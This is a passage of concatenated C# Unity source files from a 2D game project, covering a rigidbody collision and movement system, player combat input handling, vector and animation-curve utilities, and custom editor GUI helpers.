if ((Vector2)transform.position != rigidbody.position)
transform.position = rigidbody.position;
}
// -----------------------
/// <summary>
/// Called after velocity has been applied.
/// </summary>
protected virtual void OnAppliedVelocity(Vector2 _movement) { }
/// <summary>
/// Called when grounded value has been set.
/// </summary>
protected virtual void OnSetGrounded()
{
// Reduce horizontal force if not null when get grounded.
if (isGrounded && (force.x != 0))
{
force.x *= ProgramSettings.I.OnGroundedHorizontalForceMultiplier;
}
}
#endregion
#region Collision Calculs
protected static int castBufferCount = 0;
protected static RaycastHit2D[] castBuffer = new RaycastHit2D[4];
protected static RaycastHit2D[] extraCastBuffer = new RaycastHit2D[4];
// -----------------------
/// <summary>
/// Move rigidbody according to a simple collision system.
/// When hitting something, immediatly stop object movement.
/// </summary>
private void SimpleCollisionsSystem()
{
Vector2 _velocity = GetVelocity();
castBufferCount = CastCollider(_velocity, castBuffer, out float _distance);
if (castBufferCount != 0)
{
force.x = force.y = 0;
rigidbody.position += _velocity.normalized * _distance;
}
else
rigidbody.position += _velocity;
// Reset instant force and movement.
instantForce = movement = Vector2.zero;
}
/// <summary>
/// Move rigidbody according to a complex collision system.
/// When hitting something, continue movement all along hit surface.
/// Perform movement according to ground surface angle.
/// </summary>
private void ComplexCollisionsSystem()
{
// If grounded, adjust velocity according to ground normal.
Vector2 _velocity = GetVelocity();
if (isGrounded)
{
Vector2 _x = Vector2.Perpendicular(groundNormal);
if (_x.x < 0) _x *= -1;
_x *= _velocity.x;
Vector2 _y = (_velocity.y < 0 ? groundNormal : Vector2.up) * _velocity.y;
_velocity = _x + _y;
}
castBufferCount = 0;
RecursiveComplexCollisions(_velocity, groundNormal);
// Modify force according to hit surfaces.
if (!force.IsNull())
{
for (int _i = 0; _i < castBufferCount; _i++)
{
if (Mathm.HaveDifferentSignAndNotNull(force.x, castBuffer[_i].normal.x) && (Mathf.Abs(castBuffer[_i].normal.x) == 1))
{
force.x = 0;
if (force.y == 0) break;
}
if ((force.y < 0) && (castBuffer[_i].normal.y > ProgramSettings.I.GroundMinYNormal))
{
force.y = 0;
if (force.x == 0) break;
}
}
}
// Reset instant force and movement.
instantForce = movement = Vector2.zero;
}
/// <summary>
/// Move rigidbody according to a physics approaching collision system.
/// When hitting something, continue movement according to physical approach.
/// Perform movement according to world space.
/// </summary>
private void PhysicsCollisionsSystem()
{
castBufferCount = 0;
RecursivePhysicsCollisions(GetVelocity());
// Reduce force according to hit surfaces.
for (int _i = 0; _i < castBufferCount; _i++)
{
if (force.IsNull())
break;
force -= castBuffer[_i].normal * Vector2.Dot(force, castBuffer[_i].normal);
}
// Reset instant force and movement.
instantForce = movement = Vector2.zero;
}
/// <summary>
/// Custom collision system.
///
/// Override this method to implement a new and specific behaviour
/// for collision calculs.
/// </summary>
protected virtual void CustomCollisionsSystem() { }
// -------------------------------------------
// Recursive Calculs
// -------------------------------------------
/// <summary>
/// Calculates complex collisions recursively.
/// </summary>
private void RecursiveComplexCollisions(Vector2 _velocity, Vector2 _normal, int _recursiveCount = 0)
{
int _amount = CastCollider(_velocity, extraCastBuffer, out float _distance);
// No movement mean object is stuck into something, so return.
if (_distance == 0)
return;
if (_amount == 0)
{
rigidbody.position += _velocity;
GroundSnap(_velocity, _normal);
return;
}
// Move rigidbody and get extra cast velocity.
if ((_distance -= Physics2D.defaultContactOffset) > 0)
{
Vector2 _normalizedVelocity = _velocity.normalized;
rigidbody.position += _normalizedVelocity * _distance;
_velocity = _normalizedVelocity * (_velocity.magnitude - _distance);
}
// If reached recursion limit, stop.
if (_recursiveCount > collisionSystemRecursionCeil)
{
InsertCastInfos(extraCastBuffer, _amount);
GroundSnap(_velocity, _normal);
return;
}
// Get velocity outside normal surface, as pure value.
float _angle = Vector2.SignedAngle(_normal, _velocity);
_normal.Set(0, 1);
_velocity = _normal.Rotate(_angle) * _velocity.magnitude;
Vector2 _hitNormal = extraCastBuffer[0].normal;
_velocity = ClimbStep(_velocity, extraCastBuffer[0]);
if ((Mathf.Abs(extraCastBuffer[0].normal.x) == 1) && (_velocity.x != 0))
{
for (int _i = 1; _i < _amount; _i++)
{
InsertCastInfo(extraCastBuffer[_i]);
}
}
else
InsertCastInfos(extraCastBuffer, _amount);
if (!_velocity.IsNull())
{
// Reduce extra movement according to main impact normals.
_velocity -= _hitNormal * Vector2.Dot(_velocity, _hitNormal);
if (!_velocity.IsNull())
{
RecursiveComplexCollisions(_velocity, _normal, _recursiveCount + 1);
}
}
}
/// <summary>
/// Calculates physics collisions recursively.
/// </summary>
private void RecursivePhysicsCollisions(Vector2 _velocity, int _recursiveCount = 0)
{
int _amount = CastCollider(_velocity, extraCastBuffer, out float _distance);
// No movement mean object is stuck into something, so return.
if (_distance == 0)
return;
if (_amount == 0)
{
rigidbody.position += _velocity;
return;
}
InsertCastInfos(extraCastBuffer, _amount);
// Move rigidbody and get extra cast velocity.
if ((_distance -= Physics2D.defaultContactOffset) > 0)
{
Vector2 _normalizedVelocity = _velocity.normalized;
rigidbody.position += _normalizedVelocity * _distance;
_velocity = _normalizedVelocity * (_velocity.magnitude - _distance);
}
// If reached recursion limit, stop.
if (_recursiveCount > collisionSystemRecursionCeil)
return;
// Reduce extra movement according to main impact normals.
_velocity -= extraCastBuffer[0].normal * Vector2.Dot(_velocity, extraCastBuffer[0].normal);
if (!_velocity.IsNull())
{
RecursivePhysicsCollisions(_velocity, _recursiveCount + 1);
}
}
// -------------------------------------------
// Buffer Utilities
// -------------------------------------------
/// <summary>
/// Inserts a RaycastHit information into the <see cref="castBuffer"/> buffer.
/// </summary>
protected void InsertCastInfo(RaycastHit2D _hit)
{
// Add new hit if there is enough space, or replace the last one.
if (castBufferCount < castBuffer.Length)
{
castBuffer[castBufferCount] = _hit;
castBufferCount++;
}
else
castBuffer[castBufferCount - 1] = _hit;
}
/// <summary>
/// Inserts an array of RaycastHit informations into the <see cref="castBuffer"/> buffer.
/// </summary>
protected void InsertCastInfos(RaycastHit2D[] _hits, int _amount)
{
// Add as many hits as possible while there is enough space,
// or replace the last one if the buffer is already full.
if (castBufferCount < castBuffer.Length)
{
for (int _i = 0; _i < _amount; _i++)
{
castBuffer[castBufferCount + _i] = _hits[_i];
castBufferCount++;
if (castBufferCount == castBuffer.Length)
return;
}
}
else
castBuffer[castBufferCount - 1] = _hits[0];
}
// -------------------------------------------
// Special Movements
// -------------------------------------------
/// <summary>
/// Make the object climb a surface, if possible.
/// Climb cast infos are automatically added to the <see cref="castBuffer"/> buffer.
/// </summary>
protected Vector2 ClimbStep(Vector2 _velocity, RaycastHit2D _stepHit)
{
// If climbing is not necessary, return.
if (!((_stepHit.normal.y == 0) && (_velocity.y <= 0) && (_velocity.x != 0)))
return _velocity;
// Heighten the rigidbody position and add opposite velocity,
// then cast collider and get hit informations.
rigidbody.position += new Vector2(0, ProgramSettings.I.GroundClimbHeight);
_velocity.y -= ProgramSettings.I.GroundClimbHeight;
int _amount = CastCollider(_velocity, extraCastBuffer, out float _climbDistance);
if (_amount == 0)
{
rigidbody.position += _velocity;
_velocity.Set(0, 0);
}
// If hit something, check if it's a different surface than the one trying to climb
// and that the rigidbody is not stuck in ; when so, distance is equal to zero.
else if ((_climbDistance != 0) && ((_stepHit.collider != extraCastBuffer[0].collider) || (_stepHit.normal != extraCastBuffer[0].normal)))
{
Vector2 _normalized = _velocity.normalized;
rigidbody.position += _normalized * _climbDistance;
_velocity = _normalized * (_velocity.magnitude - _climbDistance);
InsertCastInfos(extraCastBuffer, _amount);
}
// If not, climb is failed so just reset position and velocity.
else
{
rigidbody.position -= new Vector2(0, ProgramSettings.I.GroundClimbHeight);
_velocity.y += ProgramSettings.I.GroundClimbHeight;
_velocity.x = 0;
}
return _velocity;
}
// -----------------------
/// <summary>
/// Snap the object to the ground only if already grounded
/// and movement is going down.
/// Used for slopes & steps movements.
/// Ground cast info is automatically added to the <see cref="castBuffer"/> buffer.
/// </summary>
protected bool GroundSnap(Vector2 _velocity, Vector2 _normal)
{
// Get going down velocity.
_velocity = _normal * Vector2.Dot(_velocity, _normal);
// If object was grounded and going down, try to snap to ground (slope & steps).
if (isGrounded && (_velocity.y < 0))
return GroundSnap(_normal);
return false;
}
/// <summary>
/// Snap the object to the ground.
/// Used for slopes & steps movements.
/// Ground cast info is automatically added to the <see cref="castBuffer"/> buffer.
/// </summary>
protected bool GroundSnap(Vector2 _normal)
{
if (CastCollider(_normal * -ProgramSettings.I.GroundSnapHeight, out RaycastHit2D _snapHit))
{
rigidbody.position += _normal * -_snapHit.distance;
InsertCastInfo(_snapHit);
return true;
}
return false;
}
#endregion
#region Collider Operations
private static RaycastHit2D[] singleCastBuffer = new RaycastHit2D[1];
protected bool CastCollider(Vector2 _movement, out RaycastHit2D _hit)
{
bool _result = collider.Cast(_movement, contactFilter, singleCastBuffer, _movement.magnitude) > 0;
_hit = singleCastBuffer[0];
return _result;
}
protected int CastCollider(Vector2 _movement, RaycastHit2D[] _hitBuffer, out float _distance)
{
_distance = _movement.magnitude;
int _hitAmount = collider.Cast(_movement, contactFilter, _hitBuffer, _distance);
if (_hitAmount > 0)
{
// Hits are already sorted by distance, so simply get closest one.
_distance = Mathf.Max(0, _hitBuffer[0].distance - Physics2D.defaultContactOffset);
// Retains only closest hits by ignoring those with too distants.
for (int _i = 1; _i < _hitAmount; _i++)
{
if ((_hitBuffer[_i].distance + castMaxDistanceDetection) > _hitBuffer[0].distance) return _i;
}
}
return _hitAmount;
}
// -----------------------
protected static Collider2D[] overlapBuffer = new Collider2D[6];
private void ExtractFromCollisions()
{
int _count = collider.OverlapCollider(contactFilter, overlapBuffer);
ColliderDistance2D _distance;
for (int _i = 0; _i < _count; _i++)
{
// If overlap, extract from collision.
_distance = collider.Distance(overlapBuffer[_i]);
if (_distance.isOverlapped)
rigidbody.position += _distance.normal * _distance.distance;
}
}
#endregion
#region Monobehaviour
protected virtual void OnEnable()
{
if (isAwake)
UpdateManager.Instance.Register((IMovableUpdate)this);
if (useGravity)
UpdateManager.Instance.Register((IPhysicsUpdate)this);
}
protected override void OnDisableCallback()
{
if (isAwake)
UpdateManager.Instance.Unregister((IMovableUpdate)this);
if (useGravity)
UpdateManager.Instance.Unregister((IPhysicsUpdate)this);
}
protected virtual void Start()
{
#if UNITY_EDITOR
previousPosition = transform.position;
#endif
// Initialize object contact filter.
contactFilter.layerMask = Physics2D.GetLayerCollisionMask(gameObject.layer);
contactFilter.useLayerMask = true;
groundNormal = Vector2.up;
CollisionSystem = collisionSystem;
}
#endregion
#endregion
}
}
<file_sep>/Assets/Scripts/Player/PlayerCombatSystem.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using EnhancedEditor;
using UnityEngine;
namespace Nowhere
{
public class PlayerCombatSystem : Striker, IInputUpdate
{
#region Fields
[HorizontalLine(1, order = 0), Section("PLAYER COMBAT SYSTEM", 50, 0, order = 1), HorizontalLine(2, SuperColor.Maroon, order = 2)]
[SerializeField, Required] private PlayerController controller = null;
[SerializeField, Required] private Animator animator = null;
[HorizontalLine(2, SuperColor.Red)]
[SerializeField, Min(0)] private float attackBufferTimer = .15f;
[HorizontalLine(2, SuperColor.Green)]
[SerializeField, ReadOnly] private bool isInPosture = false;
[SerializeField, ReadOnly] private bool isInAttack = false;
// -----------------------
private readonly int anim_ComboBrakID = Animator.StringToHash("ComboBreak");
private readonly int anim_AttackID = Animator.StringToHash("Attack");
private readonly int anim_PostureID = Animator.StringToHash("Posture");
#endregion
#region Methods
#region Inputs
private float attackBufferTime = 0;
/// <summary>
/// Check combat related input.
/// </summary>
void IInputUpdate.Update()
{
if (Input.GetKeyDown(KeyCode.Z))
{
if (isInAttack)
{
attackBufferTime = Time.time;
return;
}
Attack();
return;
}
if (isInPosture)
{
if (!Input.GetKey(KeyCode.LeftShift))
{
isInPosture = false;
animator.SetInteger(anim_PostureID, -1);
controller.IsPlayable = true;
return;
}
// Posture set ;
// All attack system is designed in the animator,
// and its posture value is set depending on the player orientation.
Vector2 _orientation = new Vector2(Input.GetAxis("Horizontal"), Input.GetAxis("Vertical")).normalized;
if (_orientation.x == controller.FacingSide)
{
animator.SetInteger(anim_PostureID, 1);
}
else if (_orientation.x == -controller.FacingSide)
{
animator.SetInteger(anim_PostureID, 2);
}
else if (_orientation.y == 1)
{
animator.SetInteger(anim_PostureID, 3);
}
else if (_orientation.y == -1)
{
animator.SetInteger(anim_PostureID, 4);
}
else
{
animator.SetInteger(anim_PostureID, 0);
}
}
else if (Input.GetKey(KeyCode.LeftShift))
{
isInPosture = true;
controller.IsPlayable = false;
}
// ---------- Cheat Codes ---------- //
if (Input.GetKeyDown(KeyCode.Alpha1))
PlayerCamera.Instance.Shake(.1f);
if (Input.GetKeyDown(KeyCode.Alpha2))
PlayerCamera.Instance.Shake(.25f);
if (Input.GetKeyDown(KeyCode.Alpha3))
PlayerCamera.Instance.Shake(.5f);
if (Input.GetKeyDown(KeyCode.Alpha4))
PlayerCamera.Instance.Shake(1f);
}
public void ComboBreaker()
{
isInPosture = false;
animator.SetTrigger(anim_ComboBrakID);
animator.SetInteger(anim_PostureID, -1);
}
#endregion
#region Striker
private void Attack()
{
isInAttack = true;
animator.SetTrigger(anim_AttackID);
}
/// <summary>
/// Strike an opponent and deal damages.
/// </summary>
protected override void Strike(Damageable _victim)
{
base.Strike(_victim);
if (attackVictims.Count == 1)
{
GameManager.Instance.Sleep(.05f);
PlayerCamera.Instance.Shake(.25f);
}
else
{
GameManager.Instance.Sleep(.015f);
PlayerCamera.Instance.Shake(.1f);
}
}
public override void StopAttack()
{
base.StopAttack();
if (Time.time - attackBufferTime < attackBufferTimer)
Attack();
else
isInAttack = false;
}
#endregion
#region Monobehaviour
private void OnEnable()
{
UpdateManager.Instance.Register((IInputUpdate)this);
}
protected override void OnDisableCallback()
{
base.OnDisableCallback();
UpdateManager.Instance.Unregister((IInputUpdate)this);
}
#endregion
#endregion
}
}
<file_sep>/Assets/Scripts/Utilities/AnimationCurveUtility.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using UnityEngine;
namespace Nowhere
{
public static class AnimationCurveUtility
{
#region Methods
/// <summary>
/// Increase a value following an animation curve
/// according to a given timer.
/// </summary>
/// <param name="_curve">Reference curve to evaluate.</param>
/// <param name="_value">Value to increase.</param>
/// <param name="_time">Animation curve reference time.</param>
public static float IncreaseValue(AnimationCurve _curve, float _value, ref float _time)
{
if (_value < _curve[_curve.length - 1].value)
{
_value = _curve.Evaluate(_time);
_time = Mathf.Min(_time + Time.deltaTime, _curve[_curve.length - 1].time);
}
return _value;
}
/// <summary>
/// Increase a value following an animation curve
/// according to a given timer.
/// </summary>
/// <param name="_curve">Reference curve to evaluate.</param>
/// <param name="_value">Value to increase.</param>
/// <param name="_time">Animation curve reference time.</param>
/// <param name="_increaseCoef">Coefficient applied to time increase.</param>
public static float IncreaseValue(AnimationCurve _curve, float _value, ref float _time, float _increaseCoef)
{
if (_value < _curve[_curve.length - 1].value)
{
_value = _curve.Evaluate(_time);
_time = Mathf.Min(_time + (Time.deltaTime * _increaseCoef), _curve[_curve.length - 1].time);
}
return _value;
}
#endregion
}
}
<file_sep>/Assets/Scripts/Utilities/Vector2Extensions.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using UnityEngine;
namespace Nowhere
{
public static class Vector2Extensions
{
#region Methods
/// <summary>
/// Get if a Vector2 is null, that is
/// if its x & y values are equal to zero.
/// </summary>
/// <param name="_vector">Vector to check.</param>
/// <returns>Returns true if both x & y Vector2 values
/// are equal to zero, false otherwise.</returns>
public static bool IsNull(this Vector2 _vector) => Mathm.IsVectorNull(_vector);
/// <summary>
/// Rotates this vector of a certain angle.
/// </summary>
/// <param name="_vector">Vector to rotate.</param>
/// <param name="_angle">Angle to rotate vector by.</param>
/// <returns>Returns new rotated vector.</returns>
public static Vector2 Rotate(this Vector2 _vector, float _angle) => Mathm.RotateVector(_vector, _angle);
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Editor/Attributes/DecoratorDrawers/HelpBoxDecoratorDrawer.cs
using UnityEditor;
using UnityEngine;
namespace EnhancedEditor.Editor
{
[CustomPropertyDrawer(typeof(HelpBoxAttribute))]
public class HelpBoxDecoratorDrawer : DecoratorDrawer
{
#region Fields
/*****************************
******* CONSTANTS *******
****************************/
/// <summary>
/// Substractor to line width due to help box left icon size and margins.
/// </summary>
public const int WidthSubtractor = 52;
#endregion
#region Methods
/***************************
******* METHODS *******
**************************/
// Specify how tall the GUI for this decorator is in pixels
public override float GetHeight()
{
HelpBoxAttribute _attribute = (HelpBoxAttribute)attribute;
return Mathf.Max(EditorGUIUtilityEnhanced.DefaultHelpBoxHeight, EditorStyles.helpBox.CalcHeight(new GUIContent(_attribute.Label), EditorGUIUtility.currentViewWidth - WidthSubtractor)) + EditorGUIUtility.standardVerticalSpacing;
}
// Make your own IMGUI based GUI for the property
public override void OnGUI(Rect _position)
{
_position.height -= EditorGUIUtility.standardVerticalSpacing;
HelpBoxAttribute _attribute = (HelpBoxAttribute)attribute;
EditorGUI.HelpBox(_position, _attribute.Label, (MessageType)(int)_attribute.Type);
}
#endregion
}
}
<file_sep>/Assets/Scripts/Update System/UpdatedBehaviour.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using UnityEngine;
namespace Nowhere
{
public class UpdatedBehaviour : MonoBehaviour
{
#region Methods
/// <summary>
/// Called when object is disabled but the application is not quitting.
/// Use this to unregister methods from Update Manager.
/// </summary>
protected virtual void OnDisableCallback() { }
protected virtual void OnDisable()
{
if (!GameManager.Instance.IsQuittingApplication)
OnDisableCallback();
}
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Editor/Utility/EditorGUILayoutEnhanced.cs
using UnityEditor;
using UnityEngine;
namespace EnhancedEditor.Editor
{
/// <summary>
/// Auto laid out version of <see cref="EditorGUIEnhanced"/>.
/// </summary>
public static class EditorGUILayoutEnhanced
{
#region Property Drawers
#region Asset Preview
/*********************************
******* ASSET PREVIEW *******
********************************/
/// <summary>
/// Draw an property field with an asset preview below it.
/// </summary>
/// <param name="_property">Property to display and draw asset preview.</param>
/// <param name="_foldout">The shown asset preview foldout state.</param>
/// <param name="_previewAspect">Aspect of the displayed asset preview.</param>
/// <returns>Returns new asset preview foldout state.</returns>
public static bool AssetPreviewField(SerializedProperty _property, bool _foldout, float _previewAspect) => AssetPreviewField(_property, EditorGUIUtilityEnhanced.GetPropertyLabel(_property), _foldout, _previewAspect);
/// <summary>
/// Draw an property field with an asset preview below it.
/// </summary>
/// <param name="_property">Property to display and draw asset preview.</param>
/// <param name="_label">Displayed label.</param>
/// <param name="_foldout">The shown asset preview foldout state.</param>
/// <param name="_previewAspect">Aspect of the displayed asset preview.</param>
/// <returns>Returns new asset preview foldout state.</returns>
public static bool AssetPreviewField(SerializedProperty _property, GUIContent _label, bool _foldout, float _previewAspect)
{
Rect _rect = EditorGUILayout.GetControlRect(true, EditorGUIUtilityEnhanced.GetAssetPreviewPropertyHeight(_property, _foldout, _previewAspect));
return EditorGUIEnhanced.AssetPreviewField(_rect, _property, _label, _foldout);
}
#endregion
#region Property Field
/**********************************
******* PROPERTY FIELD *******
*********************************/
/// <summary>
/// Draw a serialized property field associated with another property ;
/// when setting field value, associated property will be set automatically.
/// Usefull for clamping value or calling event on inspector edit.
/// </summary>
/// <param name="_property">Serialized property to edit.</param>
/// <param name="_propertyName">Name of the associated property (must be in the same script as the property field).</param>
public static void PropertyField(SerializedProperty _property, string _propertyName) => PropertyField(_property, EditorGUIUtilityEnhanced.GetPropertyLabel(_property), _propertyName);
/// <summary>
/// Draw a serialized property field associated with another property ;
/// when setting field value, associated property will be set automatically.
/// Usefull for clamping value or calling event on inspector edit.
/// </summary>
/// <param name="_property">Serialized property to edit.</param>
/// <param name="_label">Displayed label.</param>
/// <param name="_propertyName">Name of the associated property (must be in the same script as the property field).</param>
public static void PropertyField(SerializedProperty _property, GUIContent _label, string _propertyName)
{
// Get rect
Rect _position = EditorGUILayout.GetControlRect(true, EditorGUIUtility.singleLineHeight);
// Draw field
EditorGUIEnhanced.PropertyField(_position, _property, _label, _propertyName);
}
#endregion
#region Progress Bar
/********************************
******* PROGRESS BAR *******
*******************************/
/********** EDITABLE **********/
/// <summary>
/// Draw an editable progress bar.
/// </summary>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValueVariableName">Name of the variable used as maximum value (must be in the same script as the property).</param>
/// <param name="_color">Bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
public static void EditableProgressBar(SerializedProperty _property, string _maxValueVariableName, Color _color, float _height) => EditorGUIEnhanced.EditableProgressBar(EditorGUILayout.GetControlRect(false, _height), _property, _maxValueVariableName, _color);
/// <summary>
/// Draw an editable progress bar.
/// </summary>
/// <param name="_label">Label displayed in the middle of the bar.</param>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValueVariableName">Name of the variable used as maximum value (must be in the same script as the property).</param>
/// <param name="_color">Bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
public static void EditableProgressBar(GUIContent _label, SerializedProperty _property, string _maxValueVariableName, Color _color, float _height) => EditorGUIEnhanced.EditableProgressBar(EditorGUILayout.GetControlRect(false, _height), _label, _property, _maxValueVariableName, _color);
/// <summary>
/// Draw an editable progress bar.
/// </summary>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValue">Bar maximum value.</param>
/// <param name="_color">Bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
public static void EditableProgressBar(SerializedProperty _property, float _maxValue, Color _color, float _height) => EditorGUIEnhanced.EditableProgressBar(EditorGUILayout.GetControlRect(false, _height), _property, _maxValue, _color);
/// <summary>
/// Draw an editable progress bar.
/// </summary>
/// <param name="_label">Label displayed in the middle of the bar.</param>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValue">Bar maximum value.</param>
/// <param name="_color">Bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
public static void EditableProgressBar(GUIContent _label, SerializedProperty _property, float _maxValue, Color _color, float _height) => EditorGUIEnhanced.EditableProgressBar(EditorGUILayout.GetControlRect(false, _height), _label, _property, _maxValue, _color);
/// <summary>
/// Draw an editable progress bar.
/// </summary>
/// <param name="_label">Label displayed in the middle of the bar.</param>
/// <param name="_value">Bar progression value.</param>
/// <param name="_maxValue">Bar maximum value.</param>
/// <param name="_color">Bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
/// <returns>Returns new progress bar value.</returns>
public static float EditableProgressBar(GUIContent _label, float _value, float _maxValue, Color _color, float _height) => EditorGUIEnhanced.EditableProgressBar(EditorGUILayout.GetControlRect(false, _height), _label, _value, _maxValue, _color);
/********** READ ONLY **********/
/// <summary>
/// Draw a progress bar.
/// </summary>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValueVariableName">Name of the variable used as maximum value (must be in the same script as the property).</param>
/// <param name="_color">Bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
public static void ProgressBar(SerializedProperty _property, string _maxValueVariableName, Color _color, float _height) => EditorGUIEnhanced.ProgressBar(EditorGUILayout.GetControlRect(false, _height), _property, _maxValueVariableName, _color);
/// <summary>
/// Draw a progress bar.
/// </summary>
/// <param name="_label">Label displayed in the middle of the bar.</param>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValueVariableName">Name of the variable used as maximum value (must be in the same script as the property).</param>
/// <param name="_color">Bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
public static void ProgressBar(GUIContent _label, SerializedProperty _property, string _maxValueVariableName, Color _color, float _height) => EditorGUIEnhanced.ProgressBar(EditorGUILayout.GetControlRect(false, _height), _label, _property, _maxValueVariableName, _color);
/// <summary>
/// Draw a progress bar.
/// </summary>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValue">Bar maximum value.</param>
/// <param name="_color">Bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
public static void ProgressBar(SerializedProperty _property, float _maxValue, Color _color, float _height) => EditorGUIEnhanced.ProgressBar(EditorGUILayout.GetControlRect(false, _height), _property, _maxValue, _color);
/// <summary>
/// Draw a progress bar.
/// </summary>
/// <param name="_label">Label displayed in the middle of the bar.</param>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValue">Bar maximum value.</param>
/// <param name="_color">Bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
public static void ProgressBar(GUIContent _label, SerializedProperty _property, float _maxValue, Color _color, float _height) => EditorGUIEnhanced.ProgressBar(EditorGUILayout.GetControlRect(false, _height), _label, _property, _maxValue, _color);
/// <summary>
/// Draw a progress bar.
/// </summary>
/// <param name="_label">Label displayed in the middle of the bar.</param>
/// <param name="_value">Bar progression value.</param>
/// <param name="_maxValue">Bar maximum value.</param>
/// <param name="_color">Bar color.</param>
/// <param name="_height">Progress bar height (in pixels).</param>
public static void ProgressBar(GUIContent _label, float _value, float _maxValue, Color _color, float _height) => EditorGUIEnhanced.ProgressBar(EditorGUILayout.GetControlRect(false, _height), _label, _value, _maxValue, _color);
#endregion
#region Min Max
/*****************************
******** MIN MAX ********
****************************/
/// <summary>
/// Draw a min max slider field for a vector2.
/// </summary>
/// <param name="_property">Editing property.</param>
/// <param name="_minLimit">Min allowed limit value.</param>
/// <param name="_maxLimit">Max allowed limit value.</param>
public static void MinMaxField(SerializedProperty _property, float _minLimit, float _maxLimit) => EditorGUIEnhanced.MinMaxField(EditorGUILayout.GetControlRect(false), _property, _minLimit, _maxLimit);
/// <summary>
/// Draw a min max slider field for a vector2.
/// </summary>
/// <param name="_property">Editing property.</param>
/// <param name="_label">Displayed label.</param>
/// <param name="_minLimit">Min allowed limit value.</param>
/// <param name="_maxLimit">Max allowed limit value.</param>
public static void MinMaxField(SerializedProperty _property, GUIContent _label, float _minLimit, float _maxLimit) => EditorGUIEnhanced.MinMaxField(EditorGUILayout.GetControlRect(false), _property, _label, _minLimit, _maxLimit);
/// <summary>
/// Draw a min max slider field for a vector2.
/// </summary>
/// <param name="_label">Displayed label.</param>
/// <param name="_vector">Vector used to store min & max values in.</param>
/// <param name="_minLimit">Min allowed limit value.</param>
/// <param name="_maxLimit">Max allowed limit value.</param>
public static void MinMaxField(GUIContent _label, Vector2 _vector, float _minLimit, float _maxLimit) => EditorGUIEnhanced.MinMaxField(EditorGUILayout.GetControlRect(false), _label, _vector, _minLimit, _maxLimit);
/// <summary>
/// Draw a min max slider field for a vector2.
/// </summary>
/// <param name="_label">Displayed label.</param>
/// <param name="_vector">Vector used to store min & max values in.</param>
/// <param name="_minLimit">Min allowed limit value.</param>
/// <param name="_maxLimit">Max allowed limit value.</param>
public static void MinMaxField(GUIContent _label, Vector2Int _vector, float _minLimit, float _maxLimit) => EditorGUIEnhanced.MinMaxField(EditorGUILayout.GetControlRect(false), _label, _vector, _minLimit, _maxLimit);
/// <summary>
/// Draw a min max slider field.
/// </summary>
/// <param name="_label">Displayed label.</param>
/// <param name="_minValue">Editing minimum value.</param>
/// <param name="_maxValue">Editing maximum value.</param>
/// <param name="_minLimit">Min allowed limit value.</param>
/// <param name="_maxLimit">Max allowed limit value.</param>
public static void MinMaxField(GUIContent _label, ref float _minValue, ref float _maxValue, float _minLimit, float _maxLimit) => EditorGUIEnhanced.MinMaxField(EditorGUILayout.GetControlRect(false), _label, ref _minValue, ref _maxValue, _minLimit, _maxLimit);
#endregion
#region Max
/*****************************
********** MAX **********
****************************/
/// <summary>
/// Restrain a property value to a maximum one.
/// </summary>
/// <param name="_property">Editing property.</param>
/// <param name="_label">Displayed label.</param>
/// <param name="_maxValue">Property max value.</param>
public static void MaxField(SerializedProperty _property, float _maxValue) => MaxField(_property, EditorGUIUtilityEnhanced.GetPropertyLabel(_property), _maxValue);
/// <summary>
/// Restrain a property value to a maximum one.
/// </summary>
/// <param name="_property">Editing property.</param>
/// <param name="_label">Displayed label.</param>
/// <param name="_maxValue">Property max value.</param>
public static void MaxField(SerializedProperty _property, GUIContent _label, float _maxValue)
{
Rect _rect = EditorGUILayout.GetControlRect(true);
EditorGUIEnhanced.MaxField(_rect, _property, _label, _maxValue);
}
#endregion
#region Required
/****************************
******* REQUIRED *******
***************************/
/// <summary>
/// Draw a required property field.
/// </summary>
/// <param name="_property">Property to draw and check validity.</param>
public static void RequiredProperty(SerializedProperty _property) => RequiredProperty(_property, EditorGUIUtilityEnhanced.GetPropertyLabel(_property));
/// <summary>
/// Draw a required property field.
/// </summary>
/// <param name="_property">Property to draw and check validity.</param>
/// <param name="_label">Label to display before property.</param>
public static void RequiredProperty(SerializedProperty _property, GUIContent _label)
{
Rect _rect = EditorGUILayout.GetControlRect(true, EditorGUIUtilityEnhanced.GetRequiredPropertyHeight(_property));
EditorGUIEnhanced.RequiredProperty(_rect, _property, _label);
}
#endregion
#region Readonly
/****************************
******* READONLY *******
***************************/
/// <summary>
/// Draw a readonly property field.
/// </summary>
/// <param name="_position">Rect to draw field in</param>
/// <param name="_property">Property to display</param>
public static void ReadOnlyProperty(SerializedProperty _property) => ReadOnlyProperty(_property, EditorGUIUtilityEnhanced.GetPropertyLabel(_property), false);
/// <summary>
/// Draw a readonly property field.
/// </summary>
/// <param name="_position">Rect to draw field in.</param>
/// <param name="_property">Property to display.</param>
/// <param name="_label">Label to display before property.</param>
/// <param name="_useRadioToggle">If property is boolean type, indicates if using radio toggle or standard one.</param>
public static void ReadOnlyProperty(SerializedProperty _property, GUIContent _label, bool _useRadioToggle = false)
{
// Get field rect
